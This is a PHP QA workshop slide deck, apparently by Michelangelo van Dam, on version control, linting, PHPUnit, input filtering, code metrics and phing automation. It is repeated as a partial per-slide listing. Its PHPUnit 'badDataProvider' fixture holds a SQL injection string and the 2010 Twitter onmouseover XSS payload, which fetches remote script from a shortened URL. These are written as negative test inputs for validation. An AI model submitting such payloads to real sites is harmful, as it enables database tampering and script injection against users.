QA for PHP projects
in it2PROFESSIONAL PHP SERVICES
Requirements
• VirtualBox http://virtualbox.com
• Vagrant https://vagrantup.com
• Copy of https://github.com/in2it/phpqa-workshop
• Copy of https://github.com/in2it/phpqa-testing
Michelangelo van Dam!
!
PHP Consultant
Community Leader
President of PHPBenelux
Contributor to PHP projects
!
T @DragonBe | F DragonBe
https://www.flickr.com/photos/akrabat/8784318813
Using Social Media?
Tag it #phpqa
http://www.flickr.com/photos/andyofne/4633356197
http://www.flickr.com/photos/andyofne/4633356197
What is QA? Testing
Measuring Automation
What is QA?
https://www.flickr.com/photos/infidelic/4306205887
Detect bugs early
https://www.flickr.com/photos/goingslo/4523034319
Observe behaviour
https://www.flickr.com/photos/yuan2003/1812881370
Prevent mistakes
https://www.flickr.com/photos/robertelyov/5159801170
Track progress
https://www.flickr.com/photos/dingatx/4115844000
Important QA tools
https://www.flickr.com/photos/florianric/7263382550
Version Control
https://www.flickr.com/photos/mrmyle/2327686010
Subversion
GIT
GitHub
Bitbucket
Mercurial
Bazaar
Perforce
Team Foundation Server
File Transfer Protocol
FTP
Advantages of SCM
• Team development
• Multi-versions management
• Keep track of history
• Tagging milestones
• Backup of source code
• Full integration
https://www.flickr.com/photos/skoop/5397232723
Exercise
• Start a new project “phpqa-intro”
• Initialise it as a GIT project
• Create a “hello world” php script
• Add it to the repository & commit
Possible answer
$ cd workspace	
$ mkdir phpqa-intro	
$ cd phpqa-intro	
$ git init	
$(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php	
$(master #) git add helloworld.php	
$(master #) git commit -m 'Initial version of helloworld'	
[master (root-commit) 174c675] Initial commit of helloworld	
1 file changed, 1 insertion(+)	
create mode 100644 helloworld.php	
$(master)
Syntax Checking
https://www.flickr.com/photos/rooreynolds/4133549889
PHP Lint
Build-in PHP!
PHP Lint
php -l <filename>
GIT pre-commit hook
https://github.com/ReekenX/phpcheck-git
Exercise
• Download the pre-commit hook from http://in2.se/
phplintgit (or get it from the USB drive)
• Make sure you make it executable
• Create a syntax error in error.php and commit it
• See you get the error and ensure the file is not
committed.
Possible answer
$(master) git checkout -b phplint	
$(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit	
$(phplint) chmod ugo+x .git/hooks/pre-commit	
$(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php	
$(phplint) git add error.php	
$(phplint +) git commit -m 'Trying to add code with errors'	
Syntax errors found in file: error.php	
!
Found PHP parse errors:	
PHP Parse error: parse error, expecting `','' or `';'' in /Users/
dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse
error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa-
intro/error.php on line 2	
!
PHP parse errors found. Fix errors and commit again.	
$(phplint +)
Documentation
https://www.flickr.com/photos/jankunst/6478327983
Why providing docblocks?
• Useful information about the
class, method or logic
• Provides hints in IDE’s
• Great reference for
• New team members
• 3rd party developers
https://www.flickr.com/photos/mundoo/2293493420
phpDocumentor
http://phpdoc.org
PHAR://
http://phpdoc.org/phpDocumentor.phar
Other installations: Composer, PEAR, Source
Exercise
• Create a class with a couple of methods (or use the
class in “exercise/MyClass.php”)
• Run phpdoc against this class
./vendor/bin/phpdoc	
  -­‐d	
  exercise/phpdoc	
  -­‐t	
  build/phpdoc	
  
• See the resulting documentation files at http://
192.168.166.166/phpdoc
Testing
https://www.flickr.com/photos/akrabat/8421560178
Most common excuses
why developers don’t test
• no time
• no budget
• deliver tests after finish project
(never)
• devs don’t know how
https://www.flickr.com/photos/dasprid/8147986307
No excuses!
https://www.flickr.com/photos/akrabat/8421560178
Let’s get started
https://www.flickr.com/photos/floridamemory/3295406193
PHPUnit & Composer
{	
  
	
  	
  "require":	
  {	
  
	
  	
  	
  	
  "php":	
  "<=5.5.0"	
  
	
  	
  },	
  
	
  	
  "require-­‐dev":	
  {	
  
	
  	
  	
  	
  "phpunit/phpunit":	
  "~4.4"	
  
	
  	
  },	
  
}
phpunit.xml
<?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
!
<phpunit	
  
	
  	
  	
  	
  bootstrap="./vendor/autoload.php"	
  
	
  	
  	
  	
  colors="true"	
  
	
  	
  	
  	
  strict="true"	
  
	
  	
  	
  	
  stopOnError="true"	
  
	
  	
  	
  	
  stopOnFailure="true">	
  
!
	
  	
  	
  	
  <testsuite	
  name="PHPQA	
  Workshop	
  TestSuite">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <directory>./tests</directory>	
  
	
  	
  	
  	
  </testsuite>	
  
!
</phpunit>
Testing models
https://www.flickr.com/photos/fdecomite/2710132377
Simple Comment Class
CommentTest
<?php	
  
namespace	
  PhpqaTestsModel;	
  
!
use	
  PhpqaModelComment;	
  
!
class	
  CommentTest	
  extends	
  PHPUnit_Framework_TestCase	
  
{	
  
	
  	
  	
  	
  public	
  function	
  testModelIsPopulatedAtConstruct()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $data	
  =	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  1,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  'Johny	
  Test',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  'johny.test@example.com',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  'http://johnytest.com',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  'This	
  is	
  a	
  comment',	
  
	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
!
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['commentId'],	
  $comment-­‐>getCommentId());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['fullName'],	
  $comment-­‐>getFullName());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['emailAddress'],	
  $comment-­‐>getEmailAddress());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['website'],	
  $comment-­‐>getWebsite());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['comment'],	
  $comment-­‐>getComment());	
  
	
  	
  	
  	
  }	
  
}	
  
CodeCoverage
Exercise
• Test Comment class that you can convert it directly
into an array
• BONUS: Also test you can convert it into JSON
Testing Databases
https://www.flickr.com/photos/shindotv/3835365695
A few remarks
• Testing against databases is “integration testing”
• Testing against databases is slow
• Testing against databases is only useful for
• triggers & stored procedures
• correct encoding and collations
Data is just “Data”
fzaninotto / Faker
https://github.com/fzaninotto/Faker
Generated data
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  Provides	
  data	
  that	
  we	
  consider	
  to	
  be	
  safe	
  and	
  of	
  quality	
  
	
  	
  	
  	
  	
  *	
  @return	
  array	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  goodDataProvider()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $faker	
  =	
  FakerFactory::create();	
  
	
  	
  	
  	
  	
  	
  	
  	
  $data	
  =	
  [];	
  
	
  	
  	
  	
  	
  	
  	
  	
  for	
  ($iter	
  =	
  0;	
  $iter	
  <	
  500;	
  $iter++)	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  $data[]	
  =	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  rand(1,	
  time()),	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  $faker-­‐>name,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  $faker-­‐>email,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  $faker-­‐>url,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  $faker-­‐>text(),	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  $data;	
  
	
  	
  	
  	
  }
Modify our test
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @dataProvider	
  goodDataProvider	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  testModelIsPopulatedAtConstruct($data)	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['commentId'],	
  $comment-­‐>getCommentId());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['fullName'],	
  $comment-­‐>getFullName());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['emailAddress'],	
  $comment-­‐>getEmailAddress());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['website'],	
  $comment-­‐>getWebsite());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['comment'],	
  $comment-­‐>getComment());	
  
	
  	
  	
  	
  }
https://www.flickr.com/photos/boltofblue/5724934828
http://xkcd.com/327/
Little Bobby Tables
Is this your project?
OWASP Top 10
https://www.owasp.org/index.php/Top_10_2013-Top_10
Bad Data provider
http://en.wikipedia.org/wiki/Computer_virus
First modify our class
<?php	
  
namespace	
  PhpqaModel;	
  
!
use	
  ZendInputFilterInputFilter;	
  
use	
  ZendInputFilterInput;	
  
use	
  ZendFilter;	
  
use	
  ZendValidator;	
  
!
class	
  Comment	
  
{	
  
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @var	
  InputFilter	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  protected	
  $inputFilter;	
  
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @return	
  InputFilter	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  getInputFilter()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  //	
  Lazy	
  loading	
  of	
  filter	
  and	
  validation	
  rules	
  
	
  	
  	
  	
  	
  	
  	
  	
  if	
  (null	
  ===	
  $this-­‐>inputFilter)	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  $this-­‐>inputFilter;	
  
	
  	
  	
  	
  }
Filter/Validate
	
  	
  	
  	
  $commentId	
  =	
  new	
  Input('commentId');	
  
	
  	
  	
  	
  $commentId-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterInt());	
  
	
  	
  	
  	
  $commentId-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorGreaterThan(['min'	
  =>	
  0]));	
  
!
	
  	
  	
  	
  $fullName	
  =	
  new	
  Input('fullName');	
  
	
  	
  	
  	
  $fullName-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringTrim())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStripTags())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterHtmlEntities());	
  
	
  	
  	
  	
  $fullName-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorNotEmpty())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorStringLength(['min'	
  =>	
  5,	
  'max'	
  =>	
  150]));
Filter/Validate (2)
	
  	
  	
  	
  $emailAddress	
  =	
  new	
  Input('emailAddress');	
  
	
  	
  	
  	
  $emailAddress-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringToLower());	
  
	
  	
  	
  	
  $emailAddress-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorNotEmpty())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorEmailAddress());	
  
!
	
  	
  	
  	
  $website	
  =	
  new	
  Input('website');	
  
	
  	
  	
  	
  $website-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringToLower());	
  
	
  	
  	
  	
  $website-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorUri());	
  
!
	
  	
  	
  	
  $comment	
  =	
  new	
  Input('comment');	
  
	
  	
  	
  	
  $comment-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStripTags())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterHtmlEntities());
InputFilter
	
  	
  	
  	
  $inputFilter	
  =	
  new	
  InputFilter();	
  
	
  	
  	
  	
  $inputFilter-­‐>add($commentId)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($fullName)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($emailAddress)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($website)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($comment);	
  
!
	
  	
  	
  	
  $this-­‐>setInputFilter($inputFilter);
badDataProvider
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  Provides	
  data	
  that	
  we	
  consider	
  to	
  be	
  unsafe	
  
	
  	
  	
  	
  	
  *	
  @return	
  array	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  badDataProvider()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  0,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ]	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ],[	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  'Little	
  Bobby	
  Tables',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  'Robert');	
  DROP	
  TABLE	
  `students`;	
  -­‐-­‐',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  'clickjack@hackers',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  "http://t.co/@"style="font-­‐size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  'exploit	
  twitter	
  9/21/2010',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ]	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ],	
  
	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
	
  	
  	
  	
  }
our bad data test
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @dataProvider	
  badDataProvider	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  testCommentIsProtectedAgainstHacks($data)	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment();	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment-­‐>getInputFilter()-­‐>setData($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertFalse($comment-­‐>getInputFilter()-­‐>isValid());	
  
	
  	
  	
  	
  }
Exercise
• Add some more “badData” entries
• See if the validation rules hold
• Test one of the latest exploits
Wanna know more…
Come and see me after the workshop
Measuring
https://www.flickr.com/photos/batega/2056949264
pdepend
• CYCLO: Cyclomatic Complexity
• LOC: Lines of Code
• NOM: Number of Methods
• NOC: Number of Classes
• NOP: Number of Packages
• AHH: Average Hierarchy Height
• ANDC: Average Number of Derived Classes
• FANOUT: Number of Called Classes
• CALLS: Number of Operation Calls
pDepend info
• metric calculation
• execution paths
• independent control structures
• if, else, for, foreach, switch case, while, do, …
• within a single method or function
• more info 

http://en.wikipedia.org/wiki/Cyclomatic_complexity
Cyclomatic Complexity
• The average of the maximum length from a root
class to its deepest subclass
Average Hierarchy Height
Pyramid Inheritance
few classes derived from other classes
lots of classes inherit from other classes
Inheritance
Pyramid complexity
Size and complexity
Pyramid Coupling
Coupling
pDepend-graph
PHP Mess Detection
https://www.flickr.com/photos/avlxyz/2145112149
What?
• detects code smells
• possible bugs
• sub-optimal code
• over complicated expressions
• unused parameters, methods and properties
• wrongly named parameters, methods or properties
Example output
./vendor/bin/phpmd exercise/ html
cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./
build/logs/phpmd.html
Copy/Paste Detection
https://www.flickr.com/photos/kalexanderson/6113247118
What?
• detects similar code snippets
• plain copy/paste work
• similar code routines
• indicates problems
• maintenance hell
• downward spiral of disasters
• stimulates improvements
• refactoring of code
• moving similar code snippets in common routines
PHP_CodeSniffer
https://www.flickr.com/photos/create_up/3475195695
What?
• validates coding standards
• consistency
• readability
• set as a policy for development
• reports failures to meet the standard
• sometimes good: parentheses on wrong line
• mostly bad: line exceeds 80 characters
• but needed for terminal viewing of code
• can be set as pre-commit hook
• but can cause frustration!!!
Exercise
• Run the following commands against “MyClass”
• pdepend
• phpmd
• phpcpd
• phpcs (php_CodeSniffer)
• What is the result?
Automation
https://www.flickr.com/photos/freefoto/5982549938
Using phing
The PHP builder
http://phing.info
build.xml
<?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
<project	
  name="PHPQA	
  Workshop"	
  default="build">	
  
	
  	
  	
  	
  <fileset	
  dir="${project.basedir}"	
  id="files">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <include	
  name="${project.basedir}/exercise/**"/>	
  
	
  	
  	
  	
  </fileset>	
  
	
  	
  	
  	
  <target	
  name="php-­‐lint"	
  description="Run	
  syntax	
  checking	
  on	
  the	
  codebase">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phplint>	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  <fileset	
  refid="files"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  </phplint>	
  
	
  	
  	
  	
  </target>	
  
	
  	
  	
  	
  <target	
  name="php-­‐doc"	
  description="Generate	
  automated	
  documentation">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <exec	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  command="./vendor/bin/phpdoc	
  run	
  -­‐d	
  exercise/	
  -­‐t	
  build/phpdoc/"	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  dir="${project.basedir}"/>	
  
	
  	
  	
  	
  </target>	
  
	
  	
  	
  	
  <!-­‐-­‐	
  ...	
  -­‐-­‐>	
  	
  
	
  	
  	
  	
  <target	
  name="build"	
  description="The	
  build	
  process">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐lint"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐doc"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐depend"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐md"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐cpd"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐cs"/>	
  
	
  	
  	
  	
  </target>	
  
</project>	
  
Benefits
• Everyone executes the processes the same
• Including automated CI tools
• Once a new “target” is defined, it’s available
There’s more with phing
• auto upgrade databases
• warming up caches
• deploy over multiple nodes
• collect statistics
• perform benchmark/performance tests
• …
Easy CI integration
• Jenkins CI
• JetBrains TeamCity
• Atlassian Bamboo
• ContinuousPHP
https://www.flickr.com/photos/lwr/13442542235
Contact us
in it2PROFESSIONAL PHP SERVICES
Michelangelo van Dam
michelangelo@in2it.be
!
www.in2it.be
PHP Consulting - Training - QA
Join the fun!
PHPBENELUX
phpbenelux.eu
Thank you
Have a great conference
http://www.flickr.com/photos/drewm/3191872515

QA for PHP projects

  • 1.
    QA for PHPprojects in it2PROFESSIONAL PHP SERVICES
  • 2.
    Requirements • VirtualBox http://virtualbox.com •Vagrant https://vagrantup.com • Copy of https://github.com/in2it/phpqa-workshop • Copy of https://github.com/in2it/phpqa-testing
  • 3.
    Michelangelo van Dam! ! PHPConsultant Community Leader President of PHPBenelux Contributor to PHP projects ! T @DragonBe | F DragonBe https://www.flickr.com/photos/akrabat/8784318813
  • 4.
    Using Social Media? Tagit #phpqa http://www.flickr.com/photos/andyofne/4633356197 http://www.flickr.com/photos/andyofne/4633356197
  • 5.
    What is QA?Testing Measuring Automation
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
    Advantages of SCM •Team development • Multi-versions management • Keep track of history • Tagging milestones • Backup of source code • Full integration https://www.flickr.com/photos/skoop/5397232723
  • 23.
    Exercise • Start anew project “phpqa-intro” • Initialise it as a GIT project • Create a “hello world” php script • Add it to the repository & commit
  • 24.
    Possible answer $ cdworkspace $ mkdir phpqa-intro $ cd phpqa-intro $ git init $(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php $(master #) git add helloworld.php $(master #) git commit -m 'Initial version of helloworld' [master (root-commit) 174c675] Initial commit of helloworld 1 file changed, 1 insertion(+) create mode 100644 helloworld.php $(master)
  • 25.
  • 26.
  • 27.
    PHP Lint php -l<filename>
  • 28.
  • 29.
    Exercise • Download thepre-commit hook from http://in2.se/ phplintgit (or get it from the USB drive) • Make sure you make it executable • Create a syntax error in error.php and commit it • See you get the error and ensure the file is not committed.
  • 30.
    Possible answer $(master) gitcheckout -b phplint $(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit $(phplint) chmod ugo+x .git/hooks/pre-commit $(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php $(phplint) git add error.php $(phplint +) git commit -m 'Trying to add code with errors' Syntax errors found in file: error.php ! Found PHP parse errors: PHP Parse error: parse error, expecting `','' or `';'' in /Users/ dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa- intro/error.php on line 2 ! PHP parse errors found. Fix errors and commit again. $(phplint +)
  • 31.
  • 32.
    Why providing docblocks? •Useful information about the class, method or logic • Provides hints in IDE’s • Great reference for • New team members • 3rd party developers https://www.flickr.com/photos/mundoo/2293493420
  • 33.
  • 34.
  • 35.
    Exercise • Create aclass with a couple of methods (or use the class in “exercise/MyClass.php”) • Run phpdoc against this class ./vendor/bin/phpdoc  -­‐d  exercise/phpdoc  -­‐t  build/phpdoc   • See the resulting documentation files at http:// 192.168.166.166/phpdoc
  • 36.
  • 37.
    Most common excuses whydevelopers don’t test • no time • no budget • deliver tests after finish project (never) • devs don’t know how https://www.flickr.com/photos/dasprid/8147986307
  • 38.
  • 39.
  • 40.
    PHPUnit & Composer {      "require":  {          "php":  "<=5.5.0"      },      "require-­‐dev":  {          "phpunit/phpunit":  "~4.4"      },   }
  • 41.
    phpunit.xml <?xml  version="1.0"  encoding="UTF-­‐8"?>   ! <phpunit          bootstrap="./vendor/autoload.php"          colors="true"          strict="true"          stopOnError="true"          stopOnFailure="true">   !        <testsuite  name="PHPQA  Workshop  TestSuite">                  <directory>./tests</directory>          </testsuite>   ! </phpunit>
  • 42.
  • 43.
  • 44.
    CommentTest <?php   namespace  PhpqaTestsModel;   ! use  PhpqaModelComment;   ! class  CommentTest  extends  PHPUnit_Framework_TestCase   {          public  function  testModelIsPopulatedAtConstruct()          {                  $data  =  [                          'commentId'        =>  1,                          'fullName'          =>  'Johny  Test',                          'emailAddress'  =>  'johny.test@example.com',                          'website'            =>  'http://johnytest.com',                          'comment'            =>  'This  is  a  comment',                  ];   !                $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }   }  
  • 47.
  • 48.
    Exercise • Test Commentclass that you can convert it directly into an array • BONUS: Also test you can convert it into JSON
  • 49.
  • 50.
    A few remarks •Testing against databases is “integration testing” • Testing against databases is slow • Testing against databases is only useful for • triggers & stored procedures • correct encoding and collations
  • 51.
    Data is just“Data”
  • 52.
  • 53.
    Generated data        /**            *  Provides  data  that  we  consider  to  be  safe  and  of  quality            *  @return  array            */          public  function  goodDataProvider()          {                  $faker  =  FakerFactory::create();                  $data  =  [];                  for  ($iter  =  0;  $iter  <  500;  $iter++)  {                          $data[]  =  [                                  'commentId'        =>  rand(1,  time()),                                  'fullName'          =>  $faker-­‐>name,                                  'emailAddress'  =>  $faker-­‐>email,                                  'website'            =>  $faker-­‐>url,                                  'comment'            =>  $faker-­‐>text(),                          ];                  }                  return  $data;          }
  • 54.
    Modify our test        /**            *  @dataProvider  goodDataProvider            */          public  function  testModelIsPopulatedAtConstruct($data)          {                  $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }
  • 56.
  • 57.
  • 58.
    Is this yourproject?
  • 59.
  • 60.
  • 61.
    First modify ourclass <?php   namespace  PhpqaModel;   ! use  ZendInputFilterInputFilter;   use  ZendInputFilterInput;   use  ZendFilter;   use  ZendValidator;   ! class  Comment   {          /**            *  @var  InputFilter            */          protected  $inputFilter;          /**            *  @return  InputFilter            */          public  function  getInputFilter()          {                  //  Lazy  loading  of  filter  and  validation  rules                  if  (null  ===  $this-­‐>inputFilter)  {                  }                  return  $this-­‐>inputFilter;          }
  • 62.
    Filter/Validate        $commentId  =  new  Input('commentId');          $commentId-­‐>getFilterChain()                  -­‐>attach(new  FilterInt());          $commentId-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorGreaterThan(['min'  =>  0]));   !        $fullName  =  new  Input('fullName');          $fullName-­‐>getFilterChain()                  -­‐>attach(new  FilterStringTrim())                  -­‐>attach(new  FilterStripTags())                  -­‐>attach(new  FilterHtmlEntities());          $fullName-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorNotEmpty())                  -­‐>attach(new  ValidatorStringLength(['min'  =>  5,  'max'  =>  150]));
  • 63.
